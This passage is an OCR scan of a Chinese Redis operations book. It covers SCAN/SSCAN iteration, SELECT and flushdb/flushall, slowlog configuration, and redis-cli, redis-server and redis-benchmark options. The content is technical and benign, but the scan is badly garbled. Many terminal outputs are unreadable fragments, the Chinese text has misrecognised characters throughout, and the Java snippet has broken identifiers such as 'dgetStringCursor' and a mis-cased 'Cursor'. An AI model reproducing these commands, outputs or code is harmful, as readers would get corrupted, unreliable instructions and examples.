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cursor 是 必需 参数 ， 实 际 上 cursor 是 一 个 游标 ， 第 一 次 损 历 从 0 开始 ， 
次 scan 裔 历 完 都 会 返回 当前 游标 的 值 ， 直 到 游标 值 为 0， 表 示 裔 历 结 束 。 


-match pattern 是 可 选 参数 ， 它 的 作用 的 是 做 模式 的 匹配 ， 这 点 和 keys 的 
模式 匹配 很 像 。 





count number 是 可 选 参 数 ， 它 的 作用 是 表明 每 次 要 遍历 的 键 个 数 ， 默 认 
值 是 10， 此 参数 可 以 适当 增 大 。 


现 有 一 个 Redis 有 26 个 键 〈 英 文 26 个 字母 ) ， 现 在 要 遇 历 所 有 的 键 ， 使 
用 scan 命 令 效果 的 操作 如 下 。 第 一 次 执行 scan0， 返 回 结果 分 为 两 个 部 分 : 第 


一 个 部 分 6 就 是 下 次 scan 需 要 的 cursor， 第 二 个 部 分 是 10 个 键 : 





127202031326379>75Can 0 


本 WG 
2) 1) "wr" 
2) 本 
3) et 
4) Me 
5) i 
6) va 
7) Ty 
8) 和 
9 ) sh 
10) No 





使 用 新 的 cursor="6"， 执 行 Scan6: 





127.0.0.1:6379> Scan 6 


和 
罗江) 请 
2) We 

3) bi 1 

4) i 

与 让 Wr 

6) eT 

7) eu 

8) Wel Sad 

9) 下 人 

10) = 
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这 次 得 到 的 cursor="11"， 继 续 执 行 scanl11 得 到 结果 cursor 变 为 0， 说 明 所 
有 的 键 已 经 被 表 历 过 了 : 








l2 sO 0039> Soan 11 
1.) "Om 
2) 1) "s" 

2) 1 E™ 

3) i 

4) ep 

EN 检查 

6) 人 





除了 scan 以 外 ，Redis 提 供 了 面向 哈 希 类 型 、 集 合 类 型 、 有 序 集合 的 扫 
描 遍 历 命令 ， 解 决 诸如 hgetall、smembers、zrange 可 能 产生 的 阻塞 问题 ， 对 
应 的 命令 分 别 是 hscan、sscan、zscan， 它 们 的 用 法 和 scan 基 本 类 似 ， 下 面 以 
sscan 为 例子 进行 说 明 ， 当 前 集合 有 两 种 类 型 的 元 素 ， 例 如 分 别 以 old: user 
和 new: user 开 头 ， 先 需要 将 old: user 开 头 的 元 素 全 部 删除 ， 可 以 参考 如 下 
伪 代 码 : 











String key = "myset"; 

// 定义 pattern 

String pattern = "old:user*",; 
/ / 游标 每 次 从 0 开始 

String cursor = "0"; 


while (true) { 
/ / 获取 扫描 结果 








ScanResult scanResult = redis.sscan(key, cursor, pattern); 
List elements = scanResult.getResult (); 
if (elements != null && elements.size() > 0) { 

/ / 批量 删除 


redis.srem(key, elements); 








} 
/ / 获取 新 的 游标 





Cursor = ScanResult.dgetStringCursor (); 
/ / 如 果 游 标 为 0 表示 遍历 结束 
if ("0" .equals (cursor)) { 

break; 


} 





渐进 式 过 历 可 以 有 效 的 解决 keys 命 令 可 能 产生 的 阻塞 问题 ， 但 是 scan 并 
非 完 美 无 瑕 ， 如 果 在 scan 的 过 程 中 如 果 有 键 的 变化 〈 增 加 、 删 除 、 修 改 ) ， 
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那么 明 历 效果 可 能 会 位 到 如 下 间 题 ， 新 增 的 键 可 能 没有 避 历 到 ， 裔 历 出 了 重 
复 的 键 等 情况 ， 也 融 是 说 scan 并 不 能 保证 完整 的 过 历 出 来 所 有 的 键 ， 这 些 是 
我 们 在 开发 时 需要 考虑 的 。 
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2.7.3 数据库 管 理 


Redis 提 供 了 几 个 面向 Redis 数 据 库 的 操作 ， 它 们 分 


小 别 是 dbsize、select、 
flushdb/flushall 命 令 ， 本 节 将 通过 具体 的 使 用 场景 介绍 这 些 命令 。 


1. 切 换 数 据 库 


select dbIindex 





许多 关系 型 数据 库 ， 例 如 MySQL 支 持 在 一 个 实例 下 有 多 个 数据 库存 在 
的 ， 但 是 与 关系 型 数据 库 用 字符 来 区 分 不 同 数据 库 名 不 同 ，Redis 只 是 用 数 
字 作 为 多 个 数据 库 的 实现 。Redis 默 认 配置 中 是 有 16 个 数据 库 : 





databases 16 





假设 databases=16，select0 操 作 将 切换 到 第 一 个 数据 库 ，select1$ 选 择 最 
后 一 个 数据 库 ， 但 是 0 号 数据 库 和 15 号 数据 库 之 则 的 数据 没有 任何 关联 ， 其 
至 可 以 存在 相同 的 键 : 









































127.0.0.1:6379> set hello world 井 默认 进 到 0 号 数据 库 

OK 

127.0.0.1:6379> get hello 

world 

127.0.0.1:6379> select 15 # 切 换 到 1 5 号 数据 库 

OK 

127.0.0.1:6379[15]> get hello # 因 为 1 5 号 数据 库 和 0 号 数据 库 是 隔离 的 ， 所 以 get hel1lo 为 空 
(nil) 








图 2-30 更 加 生动 地 表现 出 上 述 操作 过 程 。 同 时 可 以 看 到 ， 当 使 用 redis- 
cli-h{fip}-p{port} 连 接 Redis 时 ， 默 认 使 用 的 就 是 0 号 数据 库 ， 当 选择 其 他 数据 
库 时 ， 会 有 [index] 的 前 绥 标 识 ， 其 中 index 融 是 数据 库 的 索引 下 标 。 
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select 15 
set hello 





| 到 v1 | et” | wl 
| k2 人 k2 v2 
kn vn | | kn VD 


图 2-30 ”使 用 select 命 令 切 换 数 据 库 


那么 能 不 能 像 使 用 测试 数据 库 和 正式 数据 库 一 样 ， 把 正式 的 数据 放 在 0 
号 数据 库 ， 测 试 的 数据 库 放 在 1 号 数据 库 ， 那 么 两 者 在 数据 上 就 不 会 役 此 受 
影响 了。 事实 真有 那么 好 吗 ? 





Redis3.0 中 已 经 逐渐 弱化 这 个 功能 ， 例 如 Redis 的 分 布 式 实现 Redis 
Cluster 只 允许 使 用 0 号 数据 库 ， 只 不 过 为 了 向 下 兼容 老 版 本 的 数据 库 功 能 ， 
该 功能 没有 完全 废弃 掉 ， 下 面 分 析 一 下 为 什么 要 废弃 掉 这 个 “优秀 ”的 功能 
呢 ? 总 结 起 来 有 三 点 : 





.Redis 是 单线 程 的 。 如 果 使 用 多 个 数据 库 ， 那 么 这 些 数据 库 仍 然 是 使 用 
一 个 CPU， 彼 此 之 间 还 是 会 受到 影响 的 。 
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多 数据 库 的 使 用 方式 ， 会 让 调试 和 运 维 不 同业 务 的 数据 库 变 的 困难 ， 
假如 有 一 个 慢 碍 询 存 在 ， 依 然 会 影响 其 他 数据 库 ， 这 样 会 使 得 别 的 业务 方 定 
位 问题 非常 的 困难 。 





.部 分 Redis 的 客户 端 根 本 就 不 支持 这 种 方式 。 即 使 支持 ， 在 开发 的 时 候 
来 回 切换 数字 形式 的 数据 库 ， 很 容易 弄 乱 。 





笔者 建议 如 果 要 使 用 多 个 数据 库 功 能 ， 完 全 可 以 在 一 台 机 器 上 部 署 多 个 
Redis 实 例 ， 彼 此 用 端口 来 做 区 分 ， 因 为 现代 计算 机 或 者 服务 器 通常 是 有 多 
个 CPU 的 。 这 样 既 保证 了 业务 之 间 不 会 受到 影响 ， 又 合理 地 使 用 了 CPU 资 
源 。 


2.flushdb/flushall 


flushdb/flushall 命 令 用 于 清除 数据 库 ， 两 者 的 区 别 的 是 flushdb 只 清除 当 
前 数据 库 ，flushall 会 清除 所 有 数据 库 。 





例如 当前 0 号 数据 库 有 四 个 键 值 对 、1 号 数据 库 有 三 个 键 值 对 : 





127.0.0.1:6379> dbsize 
(integer) 4 
L270.0.176379> SELect 1 
OK 

127.0.0.1:6379[1]> dbsize 
(integer) 3 





如 果 在 0 号 数据 库 执行 flushdb，1 号 数据 库 的 数据 依然 还 在 : 








127.0.0.1:6379> flushdb 
OK 

127..0.00Lr0379> dSLze 
(integer) 0 
127.0.0.1:6379> select 1 
OK 

127.0.0.1:6379[1]> dbsize 


(integer) 3 
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在 任意 数据 库 执行 fushall 会 将 所 有 数据 库 清 除 : 





127.0.0.1:6379> flushall 


27.0.0.1:6379> dbsize 
(integer) 0 
127 0 0、 L163 10> SELSCGt 于 








127.0.0.1:6379[1]> dbsize 
(integer) 0 





flushdb/flushall 命 令 可 以 非常 方便 的 清理 数据 ， 但 是 也 带 来 两 个 问题 : 


-flushdb/flushall 命 令 会 将 所 有 数据 清除 ， 一 旦 误 操 作 后 果 不 塔 设想 ， 第 
12 章 会 介绍 rename-command 配 置 规避 这 个 问题 ， 以 及 如 何在 误 操 作 后 快速 恢 
复数 据 。 


.如 果 当 前 数据 库 键 值 数 量 比较 多 ，flushdb/flushall 存 在 阻塞 Redis 的 可 能 


所 以 在 使 用 flushdb/flushall 一 定 要 小 心 谨慎 。 
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2.8 本章 重 点 回顾 








1) Redis 提 供 5 种 数据 结构 ， 每 种 数据 结构 都 有 多 种 内 部 编码 实现 。 


2) 纯 内 存 存储 、IO 多 路 复 用 技术 、 单 线程 架构 是 造就 Redis 高 性 能 的 三 
个 因 系 。 


3) 由 于 Redis 的 单线 程 架构 ， 所 以 需要 每 个 命令 能 被 快速 执行 完 ， 否 则 
会 存在 阻塞 Redis 的 可 能 ， 理 解 Redis 单 线程 命令 处 理 机 制 是 开发 和 运 维 Redis 
的 核心 之 一 。 





4) 批量 操作 (例如 mget、mset、hmset 等 ) 能 够 有 效 提 高 命令 执行 的 效 
率 ， 但 要 注意 每 次 批量 操作 的 个 数 和 字 节 数 。 





5) 了 解 每 个 命令 的 时 间 复 杂 度 在 开发 中 至 关 重 要 ， 例 如 在 使 用 keys、 
hgetall、Smembers、zrange 等 时 间 复 杂 上 度 较 高 的 命令 时 ， 需 要 考虑 数据 规模 


对 于 Redis 的 影响 。 





6) persist 命 令 可 以 删除 任意 类 型 键 的 过 期 时 间 ， 但 是 set 命 令 也 会 删除 
字符 串 类 型 键 的 过 期 时 间 ， 这 在 开发 时 容易 被 忽视 。 


7) move、dumptrestore、migrate 是 Redis 发 展 过 程 中 三 种 迁移 键 的 方 
式 ， 其 中 move 命 令 基 本 废弃 ，migrate 命 令 用 原子 性 的 方式 实现 了 
dumptrestore， 并 且 支 持 批 量 操作 ， 是 Redis Cluster 实 现 水 平 扩容 的 重要 工 
县 


wa 


8) scan 命 令 可 以 解决 keys 命 令 可 能 带 来 的 阻塞 问题 ， 同 时 Redis 还 提供 
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了 hscan、sscan、zscan 渐 进 式 地 人 裔 历 hash、set、zset。 
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第 3 章 ”小 功能 大 用 处 


Redis 提 供 的 $ 种 数据 结构 已 经 足够 强大 ， 但 除 此 之 外 ，Redis 还 提供 了 
诸如 慢 查 询 分 析 、 功 能 强大 的 Redis Shell、Pipeline、 事 务 与 Lua 脚 本 、 
Bitmaps、HyperLogLog、 发 布 订 阅 、GEO 等 附加 功能 ， 这 些 功 能 可 以 在 某 些 
场景 发 挥 重 要 的 作用 ， 本 章 将 介绍 如 下 内 容 : 





` 慢 查询 分 析 : 通过 慢 查 询 分 析 ， 找 到 有 问题 的 命令 进行 优化 。 
.Redis Shell: 功能 强大 的 Redis Shell 会 有 意 想 不 到 的 实用 功能 。 


Pipeline: 通过 Pipeline 管道 或 者 流水 线 ) 机 制 有 效 提 高 客户 端 性 能 。 








事务 与 Lua: 制作 自己 的 专属 原子 命令 。 


“Bitmaps: 通过 在 字符 串 数据 结构 上 使 用 位 操作 ， 有 效 节 省 内 存 ， 为 开 
发 提供 新 的 思路 。 


HyperLogLog: 一 种 基于 概率 的 新 算法 ， 难 以 想象 地 市 省 内 存 空间 。 
发 布 订 阅 : 基于 发 布 订 阅 模 陈 的 消息 通信 机 制 。 


-GEO: Redis3.2 提 供 了 基于 地 理 位 置信 息 的 功能 。 
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许多 存储 系统 《〈 例 如 MySQL) 提供 慢 查 询 日 志 帮 助 开 发 和 运 维和 人 员 定 
位 系统 存在 的 慢 操作 。 所 谓 慢 查询 日 志 就 是 系统 在 命令 执行 前 后 计算 每 条 命 
令 的 执行 时 间 ， 当 超过 预 设 阀 值 ， 就 将 这 条 命令 的 相关 信息 (例如 : 发 生 时 
间 ， 耗 时 ， 命 令 的 详细 信息 ) 记录 下 来 ，Redis 也 提供 了 类 似 的 功能 











如 图 3-1 所 示 ，Redis 客 户 端 执 行 一 条 命令 分 为 如 下 4 个 部 分 





CNS 
Redis 
1. 发 送 命 今 
> , 棣 队 














安 户 准 痢 | cmd5 区 cmd3 le - cimd | ] 


4. 返回 结果 
本 -一 


3. | 众 今 
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4) 返回 结果 





需要 注意 ， 慢 碍 询 只 统计 步骤 3) 的 时 间 ， 所 以 没有 慢 查 询 并 不 代表 客 
户 端 没 有 超时 问题 。 
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3.1.1 慢 查 询 的 两 个 配置 参数 


对 于 慢 碍 询 功能 ， 需 要 明确 两 件 事 : 


预 设 闪 值 怎么 设置 ? 





' 慢 碍 询 记 录 存 放 在 哪 ? 


Redis 提 供 了 slowlog-log-slower-than 和 slowlog-max-len 配 置 来 解决 这 两 个 
问题 。 从 字面 意思 就 可 以 看 出 ，slowlog-log-slower-than 就 是 那个 预 设 阀 值 ， 
它 的 单位 是 微 秒 〈1 秒 =1000 毫 秒 =1000000 微 秒 ) ， 默 认 值 是 10000， 假 如 执 
行 了 一 条 “很 慢 " 的 命令 (例如 keys*) ， 如 果 它 的 执行 时 间 超 过 了 10000 微 
秒 ， 那 么 它 将 被 记录 在 慢 碍 询 日 志 中 。 


四 se 


如 有 果 slowlog-log-slower-than=0 会 记录 有 所 有 的 命令 ，slowlog-log-slower- 
than<0 对 于 任何 命令 都 不 会 进行 记录 。 

















从 字面 意思 看 ，slowlog-max-len 只 是 说 明了 慢 碍 询 日 志 最 多 存储 多 少 
条 ， 并 没有 说 明 存 放 在 哪里 ?实际 上 Redis 使 用 了 一 个 列表 来 存储 慢 查 询 日 
志 ，slowlog-max-len 就 是 列表 的 最 大 长 度 。 一 个 新 的 命令 满足 慢 碍 询 条 件 时 
被 插入 到 这 个 列表 中 ， 当 慢 碍 询 日 志 列 表 已 处 于 其 最 大 长 度 时 ， 最 早 插入 的 
一 个 命令 将 从 列表 中 移出 ， 例 如 slowlog-max-len 设 置 为 5， 当 有 第 6 条 慢 查 询 
插入 的 话 ， 那 么 队 尖 的 第 一 条 数据 就 出 列 ， 第 6 条 慢 查 询 就 会 入 列 。 























在 Redis 中 有 两 种 修改 配置 的 方法 ， 一 种 是 修改 配置 文件 ， 男 一 种 是 使 
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用 config set 命 令 动态 修改 。 例 如 下 面 使 用 config set 命 令 将 slowlog-log-slower- 
than 设 置 为 20000 微 秒 ，slowlog-max-len 设 置 为 1000: 





config set slowlog-log-slower-than 20000 
config set slowlog-max-len 1000 
config rewrite 

















如 果 要 Redis 将 配置 持久 化 到 本 地 配置 文件 ， 需 要 执行 config rewrite 命 
令 ， 如 图 3-2 所 示 。 





并 Genetated by CONFIG 
REWRITE 

slowlog-log-slower-than 20 000 

slowlog-max-len ] 000 


config rewrite 
人 
ee Re d 1S 








图 3-2 ”config rewrite 命 令 重 写 配置 文件 





虽然 慢 查 询 日 志 是 存放 在 Redis 内 存 列 表 中 的 ， 但 是 Redis 并 没有 雄 露 这 
个 列表 的 键 ， 而 是 通过 一 组 命令 来 实现 对 慢 查 询 日 志 的 访问 和 管理 。 下 耐 介 
绍 这 几 个 命令 。 








(1) 获取 慢 查 询 日 志 





slowlog get [n] 





下 面 操作 返回 当前 Redis 的 慢 查 询 ， 参 数 n 可 以 指定 条 数 : 





127.0.0.1:6379> slowlog get 
1) 1) (integer) 666 
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(integer) 1456786500 
(integer) 11615 

1) "BGREWRITEAOF" 
(integer) 665 
(integer) 1456718400 
(integer) 12006 














D 
ty VF Et WY 














1) "SETEX" 
2) "video info 200" 
3) "300" 

) 外 














可 以 看 到 每 个 慢 查 询 日 志 有 4 个 属性 组 成 ， 分 别 是 慢 查 询 日 志 的 标识 
id、 友 生 时 间 惟 、 命 令 耗 时 、 执 行 命令 和 参数 ， 慢 查询 列表 如 图 3-3 所 示 。 





Redis 
slowlog 100 slowlog 1 


slowlog-log-slower- 
than=10 000 | id | id | 
| tme time 
slow log list everlee | -= 上 | 二 一 入 | me tm | 


| duration | | duration | 





| 本 slow eg DE | 


lan=100 command 十 参数 
A 


~———— 





command 十 参数 











图 3-3” 慢 查询 日 志 数 据 结 构 








(2) 获取 慢 碍 询 日 志 列 表 当 前 的 长 度 





slowlog len 





例如 ， 当 前 Redis 中 有 45 条 慢 查 询 : 





127.0.0.1:6379> slowlog len 
(integer) 45 








(3) 慢 人 查询 日 志 重 置 
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slowlog reset 








实际 是 对 列表 做 清理 操作 ， 例 如 : 





127.0.0.1:6379> slowlog len 
(integer) 45 
127.0.0.1:6379> slowlog reset 
OK 
127.0.0.1:6379> slowlog len 
(integer) 0 


4 
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1 人 2 及 住 实 民 


慢 碍 询 功 能 可 以 有 效 地 帮助 我 们 找到 Redis 可 能 存在 的 瓶颈 ， 但 在 实际 
使 用 过 程 中 要 注意 以 下 几 扣 : 











“slowlog-max-len 配 置 建议 ， 线 上 建议 调 大 慢 查 询 列 表 ， 记 录 慢 查询 时 
Redis 会 对 长 命令 做 截断 操作 ， 并 不 会 占用 大 量 内 存 。 增 大 慢 查 询 列 表 可 以 
减缓 慢 碍 询 被 剔除 的 可 能 ， 例 如 线 上 可 设置 为 1000 以 上 。 











Slowlog-log-slower-than 配 置 建议 : 默认 值 超过 10 坚 秒 判定 为 慢 得 询 ， 
需要 根据 Redis 并 发 量 调整 该 值 。 由 于 Redis 采 用 单线 程 啊 应 命令 ， 对 于 高 流 
量 的 场景 ， 如 果 命 令 执 行 时 间 在 1 坚 秒 以 上 ， 那 么 Redis 最 多 可 文 撑 OPS 不 到 
1000。 因 此 对 于 高 OPS 场 景 的 Redis 建 议 设置 为 1 坚 秒 。 








' 慢 得 询 只 记录 命令 执行 时 间 ， 并 不 包括 命令 排队 和 网 络 传输 时 间 。 
此 客户 并 执行 命令 的 时 间 会 大 于 命令 实际 执行 时 间 。 因 为 命令 执行 排队 机 
制 ， 慢 伍 询 会 导致 其 他 命令 级 联 阻 窒 ， 因 此 当 客 户 病 出 现 请 求 超时 ， 需 要 检 
查 该 时 间 扣 是 否 有 对 应 的 慢 查 询 ， 从 而 分 析出 是 否 为 慢 查 询 叶 人 致 的 命令 级 联 
阻塞 。 




















-由 于 慢 查询 日 志 是 一 个 先进 先 出 的 队列 ， 也 就 是 说 如 果 慢 查询 比较 多 
的 情况 下 ， 可 能 会 丢失 部 分 慢 查 询 命令 ， 为 了 防止 这 种 情况 发 生 ， 可 以 定期 
执行 slow get 命 令 将 慢 查 询 日 志 持 久 化 到 其 他 存储 中 《例如 MySQL) ， 然 后 
可 以 制作 可 视 化 界面 进行 查询 ， 第 13 章 介绍 的 Redis 私 有 云 CacheCloud 提 供 
了 这 样 的 功能 ， 好 的 工具 可 以 让 问题 排查 事半功倍 。 
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3.2 Redis Shell 


Redis 提 供 了 redis-cli、redis-server、redis-benchmark 等 Shell 工 具 。 它 们 
虽然 比较 简单 ， 但 是 态 雀 虽 小 五 脏 俱全 ， 有 时 可 以 很 巧妙 地 解决 一 些 问题 。 
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3.2.1 redis-cli 详 解 


第 1 间 曾 介绍 过 redis-cli， 包 括 -h、-p 参 数 ， 但 是 除了 这 些 参数 ， 还 有 很 
多 有 用 的 参数 ， 要 了 解 redis-cli 的 全 部 参数 ， 可 以 执行 redis-cli-help 命 令 来 进 
行 查看 ， 下 面 将 对 一 些 重 要 参数 的 含义 以 及 使 用 场景 进行 说 明 。 


1.-r 


-T (repeat) 选项 代表 将 命令 执行 多 次 ， 例 如 下 面 操作 将 会 执行 三 次 ping 


个 人 
Ds 


马 





redis-cli -xz 3 ping 
PONG 





-i (Cinterval ) 选项 代表 每 阳 几 秒 执 行 一 次 命令 ,但 是 -i 选项 必须 和 -r 选 
项 一 起 使 用 ， 下 面 的 操作 会 每 隔 1 秒 执行 一 次 ping 命 令 ， 一 共 执 行 5 次 : 





$ redis-cli -r 5 -i 1 ping 
PONG 
PONG 
PONG 
PONG 
PONG 





注意 -i 的 单位 是 秒 ， 不 支持 训 秒 为 单位 ， 但 是 如 果 想 以 每 隔 10 毫 秒 执行 
一 次 ， 可 以 用 -i0.01， 例 如 : 





$ redis-cli -r 5 -i 0.01 ping 
PONG 
PONG 
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PONG 
PONG 
PONG 





例如 下 面 的 操作 利用 -r 和 -i 选 项 ， 每 隔 1 秒 输出 内 存 的 使 用 量 ， 一 共 输 出 
100 次 : 





redis-cli -r 100 -i 1 info | grep used memory human 
used memory human:2.95G 
used memory human:2.95G 


used memory human:2.94G 





3.-X 


-x 选项 代表 从 标准 输入 (stdin) 读 取 数据 作为 redis-cli 的 最 后 一 个 参 
数 ， 例 如 下 面 的 操作 会 将 字符 串 world 作 为 set hello 的 值 : 





$ echo "world" | redis-cli -x set hello 
OK 





4.-c 


-CcC 《cluster〉 选 项 是 连接 Redis Cluster 节 点 时 需要 使 用 的 ，-c 选 项 可 以 防 


IEmoved 和 ask 异 常 ， 有 关 Redis Cluster 将 在 第 10 章 介绍 。 


$.-a 








如 果 Redis 配 置 了 密码 ， 可 以 用 -a (Cauth) 选项 ， 有 了 这 个 选项 就 不 需要 


手动 输入 auth 命 令 。 
6.--scan 和 --pattern 
--scan 选 项 和 --pattern 选 项 用 于 扫描 指定 模式 的 键 ， 相 当 于 使 用 scan 命 
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心 


7.--Slave 


--Slave 选 项 是 把 当前 客户 问 模 拟 成 当前 Redis 节 点 的 从 节点 ， 可 以 用 来 
获取 当前 Redis 节 点 的 更 新 操作 ， 有 关于 Redis 复 制 将 在 第 6 章 进行 详细 介 
绍 。 合 理 的 利用 这 个 选项 可 以 记录 当前 连接 Redis 节 点 的 一 些 更 新 操作 ， 这 
些 更 新 操作 很 可 能 是 实际 开发 业务 时 需要 的 数据 。 





下 面 开 局 第 一 个 客户 端 ， 使 用 --slave 选 项 ， 看 到 同步 已 完成 : 





$ redis-cli --slave 
SYNC with master, discarding 72 bytes of bulk transfer... 
SYNC done. Logging commands from master. 





再 开局 男 一 个 客户 端 做 一 些 更 新 操作 : 





redis-cli 
127.0.0.1:6379> set hello world 


127..0.0. L0379> Bet HB 


127.0.0.1:6379> incr count 








127.0.0.1:6379> get hello 





第 一 个 客户 端 会 收 到 Redis 节 点 的 更 新 操作 : 





redis-cli --slave 

SYNC with master, discarding 72 bytes of bulk transfer... 
SYNC done. Logging commands from master. 
"PING" 

"PING" 

"PING" 

"PING" 

"PING" 

VSELEECT A 

vet hel Lo "World" 

"set", "a Ty 

"PING" 

inor", "oount” 
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Os 


PING 命 令 是 由 于 主 从 复制 产生 的 ， 第 6 章 会 对 主 从 复制 进行 介绍 。 








8.--rdb 


--rdb 选 项 会 请 求 Redis 实 例 生 成 并 发 送 RDB 持 久 化 文件 ， 保 存在 本 地 。 
可 使 用 它 做 持久 化 文件 的 定期 备份 。 有 关 Redis 持 久 化 将 在 第 5 章 进 行 详细 介 


绍 。 





9.--pipe 
--pipe 选 项 用 于 将 命令 封装 成 Redis 通 信 协 议定 义 的 数据 格式 ， 批 量 发 送 


给 Redis 执 行 ， 有 关 Redis 通 信 协 议 将 在 第 4 章 进 行 详细 介绍 ， 例 如 下 面 操作 


同时 执行 了 set hello world 和 incr counter 两 条 命令 : 








echo -en '*3\r\n$3\r\nSET\r\n$5\r\nhello\r\n$5\r\nworld\r\n*2\r\n$4\r\nincr\r\ 
n$s7\r\ncounter\r\n' | redis-cli --pipe 








10.--bigkeys 


--bigkeys 选 项 使 用 scan 命 令 对 Redis 的 键 进行 采样 ， 从 中 找到 内 存 占用 比 
较 大 的 键 值 ， 这 些 键 可 能 是 系统 的 瓶颈 。 


11.--eval 
--eval 选 项 用 于 执行 指定 Lua 脚 本 ， 有 关 Lua 脚 本 的 使 用 将 在 3.4 节 介绍 。 


12.--latency 


184 


latency 有 三 个 选项 ， 分 别 是 --latency、--latency-history、--latency-dist。 
它们 都 可 以 检测 网 络 延迟 ， 对 于 Redis 的 开发 和 运 维 非 常 有 帮助 。 


(1) --latency 


该 选项 可 以 测试 客户 端 到 目标 Redis 的 网 络 延 迟 ， 例 如 当前 拓扑 结构 如 
图 3-4 所 示 。 客 户 端 B 和 Redis 在 机 房 B， 客 户 端 A 在 机 房 A， 机 房 A 和 机 房 B 是 
跨 地 区 的 。 








机 房 人 A 








和 


图 3-4 客户 端 与 服务 端 同 机 房 和 跨 机房 


客户 端 B; 





redis-cli -h {machineB} --latency 
min: 0, max: 1, avg: 0.07 (4211 samples) 





客户 端 A; 





redis-cli -h {machineB} --latency 
min: 0, max: 2, avg: 1.04 (2096 samples) 
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可 以 看 到 客户 端 A 由 于 距离 Redis 比 较 远 ， 平 均 网 络 延迟 会 稍微 高 一 些 。 


= 


(2) --latency-history 


--latency 的 执行 结果 只 有 一 条 ， 如 果 想 以 分 时 段 的 形式 了 解 延 迟 信 息 
可 以 使 用 --latency-history 选 项 : 





redis-cli -h 10.10.xx.xx --latency-history 
min: 0, max: 1, avg: 0.28 (1330 samples) -- 15.01 seconds range.. 
min: 0, max: 1, avg: 0.05 (1364 samples) -- 15.01 seconds range 








可 以 看 到 延 时 信息 每 15 秒 输出 一 次 ， 可 以 通过 -i 参数 控制 间隔 时 间 ，。 
(3) --latency-dist 

该 选项 会 使 用 统计 图 表 的 形式 从 控制 台 输 出 延迟 统计 信息 。 
13.--stat 


--stat 选 项 可 以 实时 获取 Redis 的 重要 统计 信息 ， 虽 然 info 命 令 中 的 统计 信 
恩 更 全 ， 但 是 能 实时 看 到 一 些 增 量 的 数据 (例如 requests〉 对 于 Redis 的 运 维 
还 是 有 一 定 帮 助 的 ， 如 下 所 示 : 





rediss=cli ==Stak 

反 二 三 二 三 三 二 可 各 攻击 等 生 二 二 二 二 合生 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 二 直人 我 全 二 二 二 二 二 二 二 二 二 二 二 二 二 = 二 二 CDLLGQ = 
keys mem clients blocked requests connections 

2451959 3.43G 1162 0 7426132839 (+0) 1337356 

2451958 3.42G 1162 0 7426133645 (+806) 1337356 

2452182 3.43G 1161 0 T426150275 (+1303) 1337356 








14.--raw 和 和--no-raw 


--no-Taw 选 项 是 要 求 命 令 的 返回 结果 必须 是 原始 的 格式 ，--raw 恰 恰 相 
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反 ， 返 回 格式 化 后 的 结果 。 


在 Redis 中 设置 一 个 中 文 的 value: 





$redis-cli set hello "你 好 " 
OK 





如 果 正 常 执行 get 或 者 使 用 --no-raw 选 项 ， 那 么 返回 的 结果 是 二 进 制 格 
式 : 





$redis-cli get hello 
"\xe4\xbd\xa0\xe5\xa5\xbd" 
$redis-cli --no-raw get hello 
"\xe4\xbd\xa0\xe5\xa5\xbd" 








如 果 使 用 了 --raw 选 项 ， 将 会 返回 中 文 : 





$redis-cli --raw get hello 你 好 
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3.2.2 redis-server 详 解 


redis-server 除 了 启动 Redis 外 ， 还 有 一 个 --test-memory 选 项 。redis-server- 
-testmemory 可 以 用 来 检测 当前 操作 系统 能 否 稳定 地 分 配 指定 容量 的 内 存 给 
Redis， 通 过 这 种 检测 可 以 有 效 避 免 因为 内 存 问题 造成 Redis 骨 沉 ， 例 如 下 面 
操作 检测 当前 操作 系统 能 否 提供 1G 的 内 存 给 Redis: 





redis-server --test-memory 1024 








整个 内 存 检测 的 时 间 比 较 长 。 当 输出 passed this test 时 说 明 内 存 检测 完 
毕 ， 最 后 会 提示 --test-memory 只 是 简单 检测 ， 如 果 有 质疑 可 以 使 用 更 加 专业 
的 内 存 检测 工具 : 








Please keep the test running Several minutes per GB of memory . 

Also check http:// www.memtest86.com/ and http:// pyropus.ca/software/memtester 
a ee 忽略 检测 细节 ............ 

Your memory passed this test. 

Please if you are still in doubt use the following two tools: 

1) memtest86: http:// www.memtest86.com/ 

2) memtester: http:// pyropus.ca/software/memtester/ 








通常 无 需 每 次 开启 Redis 实 例 时 都 执行 --test-memory 选 项 ， 该 功能 更 偏向 
于 调试 和 测试 ， 例 如 ， 想 快速 占 满 机 器 内 存 做 一 些 极端 条 件 的 测试 ， 这 个 功 
能 是 一 个 不 错 的 选择 。 


188 


3.2.3 ”redis-benchmark 详 解 


redis-benchmark 可 以 为 Redis 做 基准 性 能 测试 ， 它 提供 了 很 多 选项 帮助 开 
发 和 运 维 人 员 测 试 Redis 的 相关 性 能 ， 下 面 分 别 介 绍 这 些 选项 。 


l.-c 
-Cc (clients ) 选项 代表 客户 端的 并 发 数量 (默认 是 50) 。 


2.-n<requests> 





-n(num) 选项 代表 客户 端 请 求 总 量 〈 默 认 是 100000) 。 





例如 redis-benchmark-c100-n20000 代 表 100 各 个 客户 端 同时 请 求 Redis， 一 
共 执 行 20000 次 。redis-benchmark 会 对 各 类 数据 结构 的 命令 进行 测试 ， 并 给 
出 性 能 指标 : 








= GET ====== 

20000 requests completed in 0.27 seconds 

100 parallel clients 

3 bytes payload 

keep alive: 1 
99.11% <= 1 milliseconds 
100.00%$ <= 1 milliseconds 
73529.41 requests Per second 

















例如 上 面 一 共 执 行 了 20000 次 get 操 作 ， 在 0.27 秒 完成 ， 每 个 请 求 数据 量 
是 3 个 字 节 ，99.11% 的 命令 执行 时 间 小 于 1 毫秒 ，Redis 每 秒 可 以 处 理 


73529.41 次 get 请 求 。 





3.-g 
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-q 选 项 仅仅 显示 redis-benchmark 的 requests per second 信 息 ， 例 如 : 





$redis-benchmark -c 100 -n 20000 -=-d 

PING INLINE: 74349.45 requests Per second 

PING BULK: 68728.52 requests per second 

SET: 71174.38 requests per second.. 

LRANGE 500 (first 450 elements): 11299.44 requests per second 
LRANGE 600 (first 600 elements): 9319.67 requests per second 
MSET (10 keys): 70671.38 requests per second 






































4.-r 


车 一 个 空 的 Redis 上 执行 了 redis-benchmark 会 发 现 只 有 3 个 键 : 





127.0.0.1:6379> dbsize 
(integer) 3 
27120201336379> keys * 

1) "counter: rangd int " 
2) "mylist" 

3) "key: rand int " 











如 果 想 向 Redis 插 入 更 多 的 键 ， 可 以 执行 使 用 -r (random) 选 项， 可 以 同 
Redis 插 入 更 多 随机 的 键 。 





Sredqis-benchmark -c 100 -n 20000 -r 10000 





-f 选 项 会 在 key、counter 键 上 加 一 个 12 位 的 后 级 ，-r10000 代 表 只 对 后 四 
